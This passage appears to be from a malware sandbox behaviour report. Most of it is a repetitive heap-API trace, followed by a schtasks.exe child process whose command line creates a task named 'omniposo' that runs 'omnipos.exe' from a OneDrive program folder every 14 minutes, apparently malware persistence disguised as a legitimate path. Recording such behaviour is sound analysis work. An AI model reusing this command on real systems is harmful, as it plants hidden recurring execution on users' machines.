RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc380) returned 0xe [0139.742] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc380 | out: hHeap=0x1e0000) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc360) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc360) returned 0x18 [0139.742] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc360 | out: hHeap=0x1e0000) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5da0) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.743] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5da0) returned 0x20 [0139.743] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5da0 | out: hHeap=0x1e0000) returned 1 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbc40) returned 1 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbc40) returned 0x208 [0139.743] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbc40 | out: hHeap=0x1e0000) returned 1 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbaa0) returned 1 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbaa0) returned 0x18 [0139.743] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbaa0 | out: hHeap=0x1e0000) returned 1 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5cb0) returned 1 [0139.743] GetProcessHeap () returned 0x1e0000 [0139.743] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5cb0) returned 0x20 [0139.744] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5cb0 | out: hHeap=0x1e0000) returned 1 [0139.744] GetProcessHeap () returned 0x1e0000 [0139.744] GetProcessHeap () returned 0x1e0000 [0139.744] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd2d0) returned 1 [0139.744] GetProcessHeap () returned 0x1e0000 [0139.744] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd2d0) returned 0x200 [0139.744] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd2d0 | out: hHeap=0x1e0000) returned 1 [0139.744] GetProcessHeap () returned 0x1e0000 [0139.744] GetProcessHeap () returned 0x1e0000 [0139.744] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbae0) returned 1 [0139.744] GetProcessHeap () returned 0x1e0000 [0139.744] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbae0) returned 0x18 [0139.744] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbae0 | out: hHeap=0x1e0000) returned 1 [0139.744] GetProcessHeap () returned 0x1e0000 [0139.744] GetProcessHeap () returned 0x1e0000 [0139.745] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c20) returned 1 [0139.745] GetProcessHeap () returned 0x1e0000 [0139.745] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5c20) returned 0x20 [0139.745] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c20 | out: hHeap=0x1e0000) returned 1 [0139.745] GetProcessHeap () returned 0x1e0000 [0139.745] GetProcessHeap () returned 0x1e0000 [0139.745] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc250) returned 1 [0139.745] GetProcessHeap () returned 0x1e0000 [0139.745] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc250) returned 0x14 [0139.745] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc250 | out: hHeap=0x1e0000) returned 1 [0139.745] GetProcessHeap () returned 0x1e0000 [0139.745] GetProcessHeap () returned 0x1e0000 [0139.745] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc230) returned 1 [0139.745] GetProcessHeap () returned 0x1e0000 [0139.745] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc230) returned 0x18 [0139.745] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc230 | out: hHeap=0x1e0000) returned 1 [0139.745] GetProcessHeap () returned 0x1e0000 [0139.746] GetProcessHeap () returned 0x1e0000 [0139.746] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b60) returned 1 [0139.746] GetProcessHeap () returned 0x1e0000 [0139.746] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5b60) returned 0x20 [0139.746] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b60 | out: hHeap=0x1e0000) returned 1 [0139.746] GetProcessHeap () returned 0x1e0000 [0139.746] GetProcessHeap () returned 0x1e0000 [0139.746] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc270) returned 1 [0139.746] GetProcessHeap () returned 0x1e0000 [0139.746] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc270) returned 0x16 [0139.746] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc270 | out: hHeap=0x1e0000) returned 1 [0139.746] GetProcessHeap () returned 0x1e0000 [0139.746] GetProcessHeap () returned 0x1e0000 [0139.746] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc1f0) returned 1 [0139.746] GetProcessHeap () returned 0x1e0000 [0139.747] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc1f0) returned 0x18 [0139.747] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc1f0 | out: hHeap=0x1e0000) returned 1 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b30) returned 1 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5b30) returned 0x20 [0139.747] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b30 | out: hHeap=0x1e0000) returned 1 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba20) returned 1 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fba20) returned 0x2 [0139.747] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba20 | out: hHeap=0x1e0000) returned 1 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5980) returned 1 [0139.747] GetProcessHeap () returned 0x1e0000 [0139.747] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5980) returned 0x20 [0139.748] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5980 | out: hHeap=0x1e0000) returned 1 [0139.748] GetProcessHeap () returned 0x1e0000 [0139.748] GetProcessHeap () returned 0x1e0000 [0139.748] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f59b0) returned 1 [0139.748] GetProcessHeap () returned 0x1e0000 [0139.748] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f59b0) returned 0x20 [0139.748] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f59b0 | out: hHeap=0x1e0000) returned 1 [0139.748] GetProcessHeap () returned 0x1e0000 [0139.748] GetProcessHeap () returned 0x1e0000 [0139.748] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f59e0) returned 1 [0139.748] GetProcessHeap () returned 0x1e0000 [0139.748] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f59e0) returned 0x20 [0139.748] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f59e0 | out: hHeap=0x1e0000) returned 1 [0139.748] GetProcessHeap () returned 0x1e0000 [0139.748] GetProcessHeap () returned 0x1e0000 [0139.748] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a10) returned 1 [0139.749] GetProcessHeap () returned 0x1e0000 [0139.749] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5a10) returned 0x20 [0139.749] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a10 | out: hHeap=0x1e0000) returned 1 [0139.749] GetProcessHeap () returned 0x1e0000 [0139.749] GetProcessHeap () returned 0x1e0000 [0139.749] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcb90) returned 1 [0139.749] GetProcessHeap () returned 0x1e0000 [0139.749] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcb90) returned 0x20 [0139.749] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcb90 | out: hHeap=0x1e0000) returned 1 [0139.749] GetProcessHeap () returned 0x1e0000 [0139.749] GetProcessHeap () returned 0x1e0000 [0139.749] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd670) returned 1 [0139.749] GetProcessHeap () returned 0x1e0000 [0139.749] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd670) returned 0xa [0139.749] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd670 | out: hHeap=0x1e0000) returned 1 [0139.749] GetProcessHeap () returned 0x1e0000 [0139.750] GetProcessHeap () returned 0x1e0000 [0139.750] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcbc0) returned 1 [0139.750] GetProcessHeap () returned 0x1e0000 [0139.750] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcbc0) returned 0x20 [0139.750] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcbc0 | out: hHeap=0x1e0000) returned 1 [0139.750] GetProcessHeap () returned 0x1e0000 [0139.750] GetProcessHeap () returned 0x1e0000 [0139.750] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f7aa0) returned 1 [0139.750] GetProcessHeap () returned 0x1e0000 [0139.750] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f7aa0) returned 0x30 [0139.750] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f7aa0 | out: hHeap=0x1e0000) returned 1 [0139.750] GetProcessHeap () returned 0x1e0000 [0139.750] GetProcessHeap () returned 0x1e0000 [0139.751] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcbf0) returned 1 [0139.751] GetProcessHeap () returned 0x1e0000 [0139.751] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcbf0) returned 0x20 [0139.751] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcbf0 | out: hHeap=0x1e0000) returned 1 [0139.751] GetProcessHeap () returned 0x1e0000 [0139.751] GetProcessHeap () returned 0x1e0000 [0139.751] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f7ae0) returned 1 [0139.751] GetProcessHeap () returned 0x1e0000 [0139.751] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f7ae0) returned 0x30 [0139.752] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f7ae0 | out: hHeap=0x1e0000) returned 1 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcdd0) returned 1 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcdd0) returned 0x20 [0139.752] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcdd0 | out: hHeap=0x1e0000) returned 1 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd590) returned 1 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd590) returned 0x10 [0139.752] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd590 | out: hHeap=0x1e0000) returned 1 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcda0) returned 1 [0139.752] GetProcessHeap () returned 0x1e0000 [0139.752] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcda0) returned 0x20 [0139.753] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcda0 | out: hHeap=0x1e0000) returned 1 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd5b0) returned 1 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd5b0) returned 0x10 [0139.753] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd5b0 | out: hHeap=0x1e0000) returned 1 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd70) returned 1 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd70) returned 0x20 [0139.753] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd70 | out: hHeap=0x1e0000) returned 1 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd5d0) returned 1 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd5d0) returned 0xe [0139.753] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd5d0 | out: hHeap=0x1e0000) returned 1 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd40) returned 1 [0139.753] GetProcessHeap () returned 0x1e0000 [0139.753] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd40) returned 0x20 [0139.754] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd40 | out: hHeap=0x1e0000) returned 1 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd5f0) returned 1 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd5f0) returned 0x16 [0139.754] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd5f0 | out: hHeap=0x1e0000) returned 1 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd10) returned 1 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd10) returned 0x20 [0139.754] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd10 | out: hHeap=0x1e0000) returned 1 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd610) returned 1 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.754] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd610) returned 0x16 [0139.754] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd610 | out: hHeap=0x1e0000) returned 1 [0139.754] GetProcessHeap () returned 0x1e0000 [0139.755] GetProcessHeap () returned 0x1e0000 [0139.755] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcce0) returned 1 [0139.755] GetProcessHeap () returned 0x1e0000 [0139.755] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcce0) returned 0x20 [0139.755] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcce0 | out: hHeap=0x1e0000) returned 1 [0139.755] GetProcessHeap () returned 0x1e0000 [0139.755] GetProcessHeap () returned 0x1e0000 [0139.755] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x219d70) returned 1 [0139.755] GetProcessHeap () returned 0x1e0000 [0139.755] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x219d70) returned 0x82 [0139.756] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x219d70 | out: hHeap=0x1e0000) returned 1 [0139.756] GetProcessHeap () returned 0x1e0000 [0139.756] GetProcessHeap () returned 0x1e0000 [0139.756] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fccb0) returned 1 [0139.756] GetProcessHeap () returned 0x1e0000 [0139.756] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fccb0) returned 0x20 [0139.756] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fccb0 | out: hHeap=0x1e0000) returned 1 [0139.756] GetProcessHeap () returned 0x1e0000 [0139.756] GetProcessHeap () returned 0x1e0000 [0139.756] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd650) returned 1 [0139.756] GetProcessHeap () returned 0x1e0000 [0139.756] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd650) returned 0xe [0139.756] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd650 | out: hHeap=0x1e0000) returned 1 [0139.756] GetProcessHeap () returned 0x1e0000 [0139.756] GetProcessHeap () returned 0x1e0000 [0139.756] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc80) returned 1 [0139.757] GetProcessHeap () returned 0x1e0000 [0139.757] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcc80) returned 0x20 [0139.757] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc80 | out: hHeap=0x1e0000) returned 1 [0139.757] GetProcessHeap () returned 0x1e0000 [0139.757] GetProcessHeap () returned 0x1e0000 [0139.757] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba40) returned 1 [0139.757] GetProcessHeap () returned 0x1e0000 [0139.757] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fba40) returned 0x18 [0139.757] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba40 | out: hHeap=0x1e0000) returned 1 [0139.757] GetProcessHeap () returned 0x1e0000 [0139.757] GetProcessHeap () returned 0x1e0000 [0139.757] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a40) returned 1 [0139.757] GetProcessHeap () returned 0x1e0000 [0139.757] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5a40) returned 0x20 [0139.758] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a40 | out: hHeap=0x1e0000) returned 1 [0139.758] GetProcessHeap () returned 0x1e0000 [0139.758] GetProcessHeap () returned 0x1e0000 [0139.758] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a70) returned 1 [0139.758] GetProcessHeap () returned 0x1e0000 [0139.758] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5a70) returned 0x20 [0139.758] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a70 | out: hHeap=0x1e0000) returned 1 [0139.758] GetProcessHeap () returned 0x1e0000 [0139.758] GetProcessHeap () returned 0x1e0000 [0139.758] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5aa0) returned 1 [0139.758] GetProcessHeap () returned 0x1e0000 [0139.758] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5aa0) returned 0x20 [0139.759] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5aa0 | out: hHeap=0x1e0000) returned 1 [0139.759] GetProcessHeap () returned 0x1e0000 [0139.759] GetProcessHeap () returned 0x1e0000 [0139.759] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5ad0) returned 1 [0139.759] GetProcessHeap () returned 0x1e0000 [0139.759] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5ad0) returned 0x20 [0139.759] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5ad0 | out: hHeap=0x1e0000) returned 1 [0139.759] GetProcessHeap () returned 0x1e0000 [0139.759] GetProcessHeap () returned 0x1e0000 [0139.759] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba60) returned 1 [0139.759] GetProcessHeap () returned 0x1e0000 [0139.759] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fba60) returned 0x18 [0139.760] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba60 | out: hHeap=0x1e0000) returned 1 [0139.760] GetProcessHeap () returned 0x1e0000 [0139.760] GetProcessHeap () returned 0x1e0000 [0139.760] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b00) returned 1 [0139.760] GetProcessHeap () returned 0x1e0000 [0139.760] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5b00) returned 0x20 [0139.760] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b00 | out: hHeap=0x1e0000) returned 1 [0139.760] GetProcessHeap () returned 0x1e0000 [0139.760] GetProcessHeap () returned 0x1e0000 [0139.760] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b90) returned 1 [0139.760] GetProcessHeap () returned 0x1e0000 [0139.760] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5b90) returned 0x20 [0139.761] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5b90 | out: hHeap=0x1e0000) returned 1 [0139.761] GetProcessHeap () returned 0x1e0000 [0139.761] GetProcessHeap () returned 0x1e0000 [0139.761] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5bf0) returned 1 [0139.761] GetProcessHeap () returned 0x1e0000 [0139.761] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5bf0) returned 0x20 [0139.761] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5bf0 | out: hHeap=0x1e0000) returned 1 [0139.761] GetProcessHeap () returned 0x1e0000 [0139.761] GetProcessHeap () returned 0x1e0000 [0139.761] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c50) returned 1 [0139.761] GetProcessHeap () returned 0x1e0000 [0139.761] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5c50) returned 0x20 [0139.762] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c50 | out: hHeap=0x1e0000) returned 1 [0139.762] GetProcessHeap () returned 0x1e0000 [0139.762] GetProcessHeap () returned 0x1e0000 [0139.762] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c80) returned 1 [0139.762] GetProcessHeap () returned 0x1e0000 [0139.762] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5c80) returned 0x20 [0139.762] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5c80 | out: hHeap=0x1e0000) returned 1 [0139.762] GetProcessHeap () returned 0x1e0000 [0139.762] GetProcessHeap () returned 0x1e0000 [0139.762] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba80) returned 1 [0139.762] GetProcessHeap () returned 0x1e0000 [0139.762] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fba80) returned 0x18 [0139.762] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba80 | out: hHeap=0x1e0000) returned 1 [0139.762] GetProcessHeap () returned 0x1e0000 [0139.762] GetProcessHeap () returned 0x1e0000 [0139.762] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5bc0) returned 1 [0139.763] GetProcessHeap () returned 0x1e0000 [0139.763] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5bc0) returned 0x20 [0139.763] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5bc0 | out: hHeap=0x1e0000) returned 1 [0139.763] GetProcessHeap () returned 0x1e0000 [0139.763] GetProcessHeap () returned 0x1e0000 [0139.763] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba00) returned 1 [0139.763] GetProcessHeap () returned 0x1e0000 [0139.763] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fba00) returned 0x18 [0139.763] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fba00 | out: hHeap=0x1e0000) returned 1 [0139.763] exit (_Code=0) Thread: id = 138 os_tid = 0xf8c Process: id = "27" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x426c1000" os_pid = "0xfa4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 14 /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2760 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2761 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2762 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2763 start_va = 0xa0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2764 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 